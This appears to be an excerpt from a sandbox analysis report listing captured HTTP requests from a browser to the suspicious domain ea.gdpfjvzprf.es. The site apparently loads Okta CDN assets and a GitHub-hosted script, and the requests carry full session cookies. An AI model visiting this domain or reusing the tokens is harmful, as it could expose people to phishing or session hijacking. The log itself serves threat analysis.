Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveOrigin: https://ea.gdpfjvzprf.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveOrigin: https://ea.gdpfjvzprf.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34kVI6yg6hoy72ifZuy9TAbmzTijsFhKvHa3D89102 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvdHSfQb7XvbrLZM9aX9eBbdgEYSAqr5cJl2PYUO1yO12122 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250326%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250326T233055Z&X-Amz-Expires=300&X-Amz-Signature=13d21fcf4c164da32284efdf877054e0fa4e7267c06bd26c89640e60e8318718&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /opWwgSATD5BmOxXoMdNr2Ecywgh0febg6j8YIlnkKbIN67140 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efv3CHPKXfo7Q6lAlkq9pZIwmd4PfwYTklSEf3p0vhKd5aD78150 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnpz01pdmaKmv3lQXW7P2vQ2r4fkpgQLNebuKf8QFQhNuk56rRHgo2Bwiu2jPCTMJl7yUZWFGgWNXwx220 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klc8UECYt5zXgmoGDN2WooKK14A0tH8M0BVAgqrtlCMpZkq6akjWjuK4j9yz230 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvdHSfQb7XvbrLZM9aX9eBbdgEYSAqr5cJl2PYUO1yO12122 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klnNS32sug9wxQlBicQFiOR1Cl4wxs6JlS8b8cisTjuqKE78168 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWwgSATD5BmOxXoMdNr2Ecywgh0febg6j8YIlnkKbIN67140 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efv3CHPKXfo7Q6lAlkq9pZIwmd4PfwYTklSEf3p0vhKd5aD78150 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxF6frFyCV8SKJp7AZ9vV4r3JHeuEjud3a5WK5bopNKU5AOJxi7MGS6qurQDlBcWab180 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; 